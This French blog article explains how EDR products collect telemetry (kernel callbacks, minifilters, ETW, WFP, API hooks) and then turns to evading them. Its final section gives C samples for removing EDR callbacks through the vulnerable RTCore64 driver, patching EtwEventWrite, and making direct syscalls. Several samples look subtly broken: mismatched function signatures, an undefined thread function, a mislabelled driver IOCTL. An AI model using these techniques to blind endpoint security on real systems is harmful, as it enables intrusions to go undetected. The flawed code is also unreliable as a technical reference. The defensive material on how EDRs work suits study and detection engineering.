# Composants Internes des EDR

> Comprendre et Contourner les Systèmes Modernes de Détection et Réponse aux Points de Terminaison

Publié le 2025-04-20 | Mis à jour le 2025-03-23 | Tags: cetp, edr, internals

https://xsec.fr/evasion/edr-internals/

---

import InlineMediaSvg from '@shared/components/InlineMediaSvg.astro'

> Comprendre et Contourner les Systèmes Modernes de Détection et Réponse aux Points de Terminaison

Les systèmes Endpoint Detection and Response (EDR) sont devenus la pierre angulaire de l'infrastructure de sécurité moderne, fournissant des capacités avancées de détection de menaces et de réponse aux incidents. Cet article plonge dans le fonctionnement interne des solutions EDR, en se concentrant particulièrement sur leurs mécanismes de **collecte de télémétrie**.

## Introduction à l'Architecture EDR

Les solutions EDR modernes emploient une architecture multicouche qui combine des composants **en mode utilisateur** et **en mode noyau** pour atteindre une visibilité et une protection complètes. L'architecture consiste typiquement en un **pilote kernel** pour la surveillance de bas niveau, des **services en mode utilisateur** pour l'analyse, et des composants cloud pour le partage de renseignements et les mises à jour.

<InlineMediaSvg
  src="/media/evasion/edr-internals/etw.svg"
  alt="Vue d'ensemble de l'architecture EDR, de la collecte locale à l'analyse cloud"
/>

**Le pilote kernel EDR est responsable de la collecte** de télémétrie depuis diverses sources au sein du système, de la surveillance des activités suspectes et de l'application des politiques de sécurité. Il interagit avec les mécanismes du noyau Windows pour obtenir une visibilité sur les opérations système sans impacter significativement les performances.

## Télémétrie des Callbacks Kernel

L'un des principaux mécanismes que les EDR utilisent pour collecter la télémétrie est les **callbacks kernel**. Ces callbacks sont des pointeurs de fonction enregistrés qui sont appelés chaque fois que des événements système spécifiques se produisent. Explorons les divers types de callbacks kernel que les EDR exploitent typiquement.

### Callbacks Kernel de Création de Processus

La surveillance de la création de processus est fondamentale pour la fonctionnalité EDR. Ces callbacks notifient les pilotes chaque fois qu'un processus est créé ou terminé sur le système, permettant aux EDR de collecter la télémétrie initiale sur les activités de création de processus potentiellement malveillantes.


```mermaid
graph TB
  E1[PsSetCreateProcessNotifyRoutineEx] --> E2[Kernel Mode]
  E2 --> E3[PspCallProcessNotifyRoutines]
  E3 --> E4{Thread Callback Array - PspCreateProcessNotifyRoutine}
  E4 --> E5[Multiple EDR Callbacks]
  E5 --> E6[WdFilter.sys]
  E5 --> E7[aswSP.sys]
  E5 --> E8[Other Security Drivers]
```


La télémétrie collectée inclut la structure `EPROCESS` du processus créé, l'`ID de processus` (PID), et une structure `PPS_CREATE_NOTIFY_INFO` contenant des informations critiques telles que l'ID du **processus parent, le nom du fichier image, les arguments de ligne de commande,** et l'**ID du thread** créateur. Les EDR exploitent ces informations pour détecter les modèles de création de processus suspects, les relations parent-enfant et les paramètres de ligne de commande indicatifs d'activité malveillante.

### Callbacks Kernel de Création de Thread

La surveillance de la création de threads complète la surveillance des processus en fournissant une visibilité sur l'exécution du code au sein des processus. Les EDR enregistrent des callbacks de création de threads pour détecter des techniques comme l'injection de thread distant.


```mermaid
graph TB
  T1[PsSetCreateThreadNotifyRoutine] --> T2[Kernel Mode]
  T2 --> T3[PspCallThreadNotifyRoutines]
  T3 --> T4{Thread Callback Array - PspCreateThreadNotifyRoutine}
  T4 --> T5[Multiple EDR Callbacks]
  T5 --> T6[WdFilter.sys]
  T5 --> T7[aswSP.sys]
  T5 --> T8[Other Security Drivers]
```


La télémétrie collectée inclut la structure `ETHREAD`, l'`ID de processus` du processus créateur et l'`ID de thread` du thread nouvellement créé. Ces informations aident les EDR à détecter les techniques d'injection de threads couramment utilisées dans les attaques **living-off-the-land** et les opérations de malware sans fichier.

### Callbacks Kernel de Chargement d'Image

Les callbacks de chargement d'image notifient les pilotes chaque fois qu'un **fichier PE** (exécutable, DLL ou pilote) est chargé en mémoire. Cela fournit aux EDR une visibilité sur les modules de code introduits dans les processus.


```mermaid
sequenceDiagram
  participant App as Application
  participant LDR as PE Loader
  participant Kernel as Kernel
  participant EDR as EDR Driver
  App->>LDR: Load DLL/Module[.dll]
  LDR->>Kernel: Map File Into Memory
  Kernel->>EDR: Image Load Notification
  EDR->>EDR: Analyze/Block Loading
  EDR-->>Kernel: Allow/Deny
  Kernel-->>App: Module Loaded
```


La télémétrie collectée inclut le chemin complet de l'image chargée, l'ID du processus dans lequel l'image est chargée, et l'adresse de base et la taille de l'image chargée en mémoire. Les EDR utilisent ces informations pour détecter le chargement de DLL suspectes, de pilotes non signés ou de modules malveillants connus.

### Callbacks Kernel d'Opérations sur le Registre

Les callbacks d'opérations sur le registre fournissent une visibilité sur les modifications du registre Windows, qui est un mécanisme de persistence commun pour les malwares.


```mermaid
graph TB
  R1[User-Mode Application] --> R2[Registry API]
  R2 --> R3[NtSetValueKey / NtCreateKey]
  R3 --> R4[Kernel-Mode]
  R4 --> R5[Trigger]
  R5 --> R6[Registry Callback List]
  R6 --> R7[Notify]
  R7 --> R8[EDR Registry Callback]
  R8 --> R9[Analyze]
  R9 --> R10[Registry Permissions]
  R9 --> R11[Monitor]
  R9 --> R12[Configuration Changes]
```


Ces callbacks suivent les opérations telles que la **lecture, l'écriture, la suppression** ou **l'interrogation** des clés de registre. La télémétrie inclut le chemin complet de la clé de registre, l'ID de processus et l'ID de thread du processus effectuant l'opération, et les détails sur l'opération demandée. Les EDR analysent ces données pour détecter les techniques de persistence communes des malwares, les tentatives d'escalade de privilèges et les activités d'évasion de défense.

### Callbacks Kernel d'Opérations sur les Objets

Les callbacks d'opérations sur les objets fournissent des notifications sur les opérations de handle sur les objets processus et thread, ce qui est crucial pour détecter les tentatives d'escalade de privilèges et de dumping d'identifiants.


```mermaid
sequenceDiagram
  participant Src as Source Process
  participant OM as Object Manager
  participant OB as ObRegisterCallbacks
  participant EDR as EDR Driver
  Src->>OM: OpenProcess[PID]
  OM->>OB: ObOpenObjectByPointer
  OB->>EDR: Pre-operation Notification
  EDR->>EDR: Check Access Rights
  EDR-->>OB: Allow/Deny or Strip Access
  OB-->>Src: Return Handle or Error
```


Ces callbacks collectent la télémétrie telle que les ID de processus cible et source, les droits d'accès demandés et l'ID du thread initiant la création ou duplication de handle. Les EDR utilisent ces informations pour empêcher les tentatives d'accès aux processus sensibles, telles que celles ciblant **LSASS** pour le dumping d'identifiants.

### Callbacks Kernel d'Opérations sur le Système de Fichiers

Les **callbacks minifilter** du système de fichiers fournissent aux EDR une visibilité sur les opérations de fichiers, ce qui est essentiel pour détecter les ransomwares (par ex.), l'exfiltration de données et les modifications de fichiers malveillantes.


```mermaid
graph LR
  FS1[User Application] --> FS2[File System APIs]
  FS2 --> FS3[I/O Manager]
  FS3 --> FS4[Filter Manager]
  FS4 --> FS5[Minifilter Callback Stack]
  FS5 --> FS6[EDR Minifilter]
  FS6 --> FS7[Antivirus Minifilter]
  FS7 --> FS8[File System Driver]
```


Ces callbacks collectent la télémétrie sur le type d'opération du système de fichiers, les ID de processus et de thread, et le chemin et la taille du fichier impliqué. Les EDR analysent ces données pour détecter les activités de fichiers suspectes telles que le chiffrement de masse (ransomware), l'accès aux fichiers sensibles ou la création de fichiers malveillants.

## Télémétrie ETW

Event Tracing for Windows (ETW) est une autre source de télémétrie cruciale pour les EDR. **ETW fournit** un mécanisme de traçage à l'échelle du système qui permet la surveillance des activités en mode utilisateur et en mode noyau avec un impact minimal sur les performances.


```mermaid
graph TB
  ETW1[Windows Applications] -->|Events| ETW4[ETW Provider]
  ETW2[System Components] -->|Events| ETW4
  ETW3[Kernel] -->|Events| ETW4
  ETW4 --> ETW5[ETW Controller]
  ETW5 --> ETW6[ETW Consumer - EDR]
  ETW6 --> ETW7[Analysis Engine]
  ETW7 --> ETW8[Alert Generation]
```


Les fournisseurs ETW émettent des événements qui contiennent des données structurées sur des activités spécifiques. Les EDR exploitent ces événements pour surveiller les activités suspectes telles que **l'exécution de scripts PowerShell** en plus du **module de script AMSI**, **le chargement d'assemblages .NET** en plus du **module .net AMSI**, et d'autres techniques **living-off-the-land**. Chaque fournisseur génère des événements avec des ID et propriétés uniques que les EDR peuvent filtrer et analyser pour détecter les modèles malveillants.

## Télémétrie Réseau

La télémétrie réseau est essentielle pour détecter les communications de commande et contrôle, l'exfiltration de données et les tentatives de mouvement latéral.


```mermaid
graph LR
  N1[Applications] --> N2
  subgraph Windows Filtering Platform
    N2[EDR WFP Callout] -->|Monitor| N3[WFP Layer]
  end
  N3 --> N4[Network Stack]
  N4 --> N5[Network Interface]
  N5 --> N6[External Network]
```


Les EDR exploitent typiquement la Windows Filtering Platform (WFP) pour intercepter et analyser le trafic réseau. WFP fournit un ensemble d'API et de mécanismes de filtrage qui permettent aux produits de sécurité de surveiller et contrôler le trafic réseau à diverses couches de la pile réseau. Les EDR enregistrent des callouts qui sont invoqués lorsque le trafic réseau correspond à des conditions spécifiques, leur permettant de collecter la télémétrie sur les connexions suspectes, les transferts de données et les anomalies de protocole.

## Télémétrie d'API Hookées

Le hooking d'API est une technique utilisée par les EDR pour surveiller et intercepter les appels de fonction effectués par les applications, fournissant une visibilité sur les comportements potentiellement malveillants.


```mermaid
sequenceDiagram
  participant App as Calling Application
  participant NTDLL as NTDLL.DLL
  participant EDR as EDR DLL Hook
  participant Kernel as Original Function
  App->>NTDLL: Call NtCreateThreadEx
  NTDLL->>EDR: Intercepted by EDR hook
  EDR->>EDR: Log Telemetry, Analyze for Malicious Patterns
  EDR->>Kernel: Call Original Function
  Kernel-->>EDR: Return Result
  EDR-->>App: Return to Application
```


Les EDR hookent typiquement les API Windows critiques, particulièrement dans le module NTDLL.DLL, pour surveiller les activités suspectes. Le processus de hooking implique de modifier le point d'entrée de la fonction pour rediriger l'exécution vers le code de surveillance de l'EDR avant de passer le contrôle à la fonction originale. Cela permet aux EDR de collecter une télémétrie détaillée sur les paramètres d'API, les valeurs de retour et les piles d'appels, ce qui peut révéler une intention malveillante même lorsque des API Windows légitimes sont utilisées à des fins néfastes.

## Contournement de la Détection EDR

Comprendre le fonctionnement interne des EDR fournit des aperçus sur les techniques d'évasion potentielles. Cependant, il est important de noter que ces techniques ne doivent être utilisées que dans des scénarios de tests de sécurité légitimes avec autorisation appropriée.


```mermaid
graph LR
  EV[EDR Evasion Techniques] --> KC[Kernel Callback Removal]
  EV --> ET[ETW Tampering]
  EV --> AU[API Unhooking]
  EV --> DS[Direct System Calls]
  EV --> SV[Signed Vulnerable Drivers]
  KC --> KC1[Process Creation Callback Removal]
  KC --> KC2[Thread Creation Callback Removal]
  ET --> ET1[EtwEventWrite Patching]
  ET --> ET2[ETW Provider Disabling]
  AU --> AU1[Restore Original API Bytes]
  AU --> AU2[Hook Detection and Avoidance]
  DS --> DS1[Custom System Call Stub]
  DS --> DS2[Dynamic System Call Number Resolution]
  SV --> SV1[Kernel-mode Operations]
  SV --> SV2[Disable DSE]
```


Diverses techniques peuvent être employées pour contourner la détection EDR, de la suppression de **callbacks kernel** en utilisant des **pilotes vulnérables** à la modification de **fournisseurs ETW** et au **unhooking d'API**. Les techniques d'évasion avancées impliquent l'utilisation d'appels système directs pour contourner le hooking en mode utilisateur ou l'exploitation de pilotes signés vulnérables pour effectuer des opérations en mode noyau qui peuvent désactiver les mécanismes de sécurité.

### Exemple de code de Suppression de Callback de Création de Processus

```c
/* Suppression de Callback de Création de Processus via Pilote Vulnérable */
#include <windows.h>
#include <stdio.h>

#define VULN_DRIVER_DEVICE L"\\\\.\\RTCore64"
#define IOCTL_REMOVE_CALLBACK 0x8000204C

typedef struct _CALLBACK_REMOVE_REQUEST {
    DWORD64 CallbackAddress;
} CALLBACK_REMOVE_REQUEST;

BOOL RemoveProcessCallback(DWORD64 callbackAddress) {
    HANDLE hDevice = CreateFileW(VULN_DRIVER_DEVICE, GENERIC_READ | GENERIC_WRITE,
                                0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Erreur d'ouverture du pilote : %d\n", GetLastError());
        return FALSE;
    }

    CALLBACK_REMOVE_REQUEST request = { callbackAddress };
    DWORD bytesReturned;

    BOOL result = DeviceIoControl(hDevice, IOCTL_REMOVE_CALLBACK, &request,
                                 sizeof(request), NULL, 0, &bytesReturned, NULL);
    CloseHandle(hDevice);
    return result;
}

int main() {
    // Obtenir l'adresse du callback cible via débogage kernel ou scan de pattern
    DWORD64 targetCallback = 0xFFFFF80041789870; // Exemple de callback WdFilter.sys
    if (RemoveProcessCallback(targetCallback)) {
        printf("Callback de création de processus supprimé avec succès\n");
    } else {
        printf("Échec de la suppression du callback\n");
    }
    return 0;
}
```

### Exemple de code de Patching de Fournisseurs ETW

```c del={"1. Changer la protection mémoire en RWX":17-19} {"2. Patcher avec l'instruction RET (0xC3)":21-22} ins={"3. Restaurer la protection originale":24-27}
/* Contournement ETW via Patching Mémoire */
#include <windows.h>

#pragma comment(lib, "ntdll.lib")

EXTERN_C NTSTATUS NTAPI NtProtectVirtualMemory(
    HANDLE ProcessHandle, PVOID* BaseAddress,
    SIZE_T* Size, ULONG NewProtect, PULONG OldProtect);

void DisableETWTracing() {
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    PVOID etwAddr = GetProcAddress(ntdll, "EtwEventWrite");

    DWORD oldProtect;
    SIZE_T size = 1;


    NtProtectVirtualMemory(GetCurrentProcess(), &etwAddr, &size,
                          PAGE_EXECUTE_READWRITE, &oldProtect);


    *(BYTE*)etwAddr = 0xC3;


    NtProtectVirtualMemory(GetCurrentProcess(), &etwAddr, &size,
                          oldProtect, &oldProtect);
}

int main() {
    DisableETWTracing();
    // Les événements liés à ETW seront maintenant supprimés
    return 0;
}
```

### Exemple de code d'Appels Système Directs

```c ins={"Stub syscall pour Windows 10 x64 (RS6)":11-19}
/* Implémentation d'Appel Système Direct pour NtCreateThreadEx */
#include <windows.h>

typedef NTSTATUS (NTAPI* PNtCreateThreadEx)(
    PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ProcessHandle,
    PVOID StartRoutine, PVOID Argument, ULONG CreateFlags,
    SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize,
    PVOID AttributeList);


DECLSPEC_NAKED NTSTATUS DirectNtCreateThreadEx() {
    __asm {
        mov r10, rcx
        mov eax, 0xC3        // Numéro de syscall pour NtCreateThreadEx
        syscall
        ret
    }
}

void CreateThreadEvasion() {
    HANDLE hThread;
    DirectNtCreateThreadEx(&hThread, GENERIC_ALL, NULL,
                          GetCurrentProcess(), MyThreadFunc,
                          NULL, 0, 0, 0, 0, NULL);
}
```

## Références

| Titre                                      | URL                                                                                                                        |
|---------------------------------------------|----------------------------------------------------------------------------------------------------------------------------|
| Livre Windows Internals Partie 1            | https://empyreal96.github.io/nt-info-depot/Windows-Internals-PDFs/Windows%20System%20Internals%207e%20Part%201.pdf |
| Diapositives du Cours Evasion Lab (Altered Security)| https://www.alteredsecurity.com/evasionlab |